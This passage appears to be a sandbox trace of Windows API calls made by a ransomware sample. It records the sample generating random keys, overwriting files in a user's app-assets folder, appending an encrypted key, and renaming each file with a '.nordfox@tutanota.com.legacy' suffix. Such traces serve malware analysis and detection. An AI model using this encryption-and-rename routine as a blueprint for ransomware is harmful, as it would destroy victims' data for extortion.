"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0170.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ab78 | out: hHeap=0x520000) returned 1 [0170.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5d8 | out: hHeap=0x520000) returned 1 [0170.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a5d8 [0170.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0170.529] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.529] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0170.529] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df", dwFileAttributes=0x80) returned 1 [0170.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60ab78 [0170.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0170.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ab78 | out: hHeap=0x520000) returned 1 [0170.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.530] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1538) returned 1 [0170.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x602) returned 0x2f74cc0 [0170.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x602) returned 0x33b6018 [0170.530] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x602, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x602, lpOverlapped=0x0) returned 1 [0170.531] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.531] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x602, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x602, lpOverlapped=0x0) returned 1 [0170.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0170.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.531] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x602 [0170.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.531] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.531] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.532] CloseHandle (hObject=0x1830) returned 1 [0170.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0170.532] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0170.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5d8 | out: hHeap=0x520000) returned 1 [0170.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a470 | out: hHeap=0x520000) returned 1 [0170.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a470 [0170.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0170.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0170.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0170.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0170.537] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240", dwFileAttributes=0x80) returned 1 [0170.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60ab78 [0170.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0170.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ab78 | out: hHeap=0x520000) returned 1 [0170.538] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.538] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=366294) returned 1 [0170.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x596d6) returned 0x33b6018 [0170.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x596d6) returned 0x340f6f8 [0170.540] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x596d6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x596d6, lpOverlapped=0x0) returned 1 [0170.557] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-366294, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.557] WriteFile (in: hFile=0x1830, lpBuffer=0x340f6f8*, nNumberOfBytesToWrite=0x596d6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x340f6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x596d6, lpOverlapped=0x0) returned 1 [0170.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x340f6f8 | out: hHeap=0x520000) returned 1 [0170.563] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x596d6 [0170.564] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.564] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.564] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.564] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.565] CloseHandle (hObject=0x1830) returned 1 [0170.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0170.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0170.565] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0170.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a470 | out: hHeap=0x520000) returned 1 [0170.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a308 | out: hHeap=0x520000) returned 1 [0170.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a308 [0170.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0170.567] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.567] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0170.567] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8", dwFileAttributes=0x80) returned 1 [0170.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a470 [0170.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4488 [0170.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a470 | out: hHeap=0x520000) returned 1 [0170.567] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.567] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1170233) returned 1 [0170.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11db39) returned 0x3525020 [0170.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11db39) returned 0x3650020 [0170.573] ReadFile (in: hFile=0x1830, lpBuffer=0x3525020, nNumberOfBytesToRead=0x11db39, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3525020*, lpNumberOfBytesRead=0x2e1f9bc*=0x11db39, lpOverlapped=0x0) returned 1 [0170.635] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1170233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.635] WriteFile (in: hFile=0x1830, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x11db39, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11db39, lpOverlapped=0x0) returned 1 [0170.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3525020 | out: hHeap=0x520000) returned 1 [0170.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3650020 | out: hHeap=0x520000) returned 1 [0170.650] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11db39 [0170.650] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.650] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.651] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.651] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.651] CloseHandle (hObject=0x1830) returned 1 [0170.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0170.651] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4488 | out: hHeap=0x520000) returned 1 [0170.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a308 | out: hHeap=0x520000) returned 1 [0170.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a038 | out: hHeap=0x520000) returned 1 [0170.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60ab78 [0170.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.654] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c", dwFileAttributes=0x80) returned 1 [0170.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a038 [0170.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4038 [0170.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a038 | out: hHeap=0x520000) returned 1 [0170.654] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.655] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17435) returned 1 [0170.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x441b) returned 0x30d1028 [0170.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x441b) returned 0x30d5450 [0170.655] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x441b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x441b, lpOverlapped=0x0) returned 1 [0170.674] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.674] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5450*, nNumberOfBytesToWrite=0x441b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5450*, lpNumberOfBytesWritten=0x2e1f9bc*=0x441b, lpOverlapped=0x0) returned 1 [0170.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5450 | out: hHeap=0x520000) returned 1 [0170.675] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x441b [0170.675] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.675] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.675] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.675] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.675] CloseHandle (hObject=0x1830) returned 1 [0170.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.676] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0170.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ab78 | out: hHeap=0x520000) returned 1 [0170.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609ed0 | out: hHeap=0x520000) returned 1 [0170.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x609ed0 [0170.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0170.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0170.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0170.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0170.678] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d", dwFileAttributes=0x80) returned 1 [0170.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a038 [0170.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0170.679] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a038 | out: hHeap=0x520000) returned 1 [0170.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.679] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16768) returned 1 [0170.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4180) returned 0x30d1028 [0170.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4180) returned 0x30d51b0 [0170.679] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4180, lpOverlapped=0x0) returned 1 [0170.687] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.687] WriteFile (in: 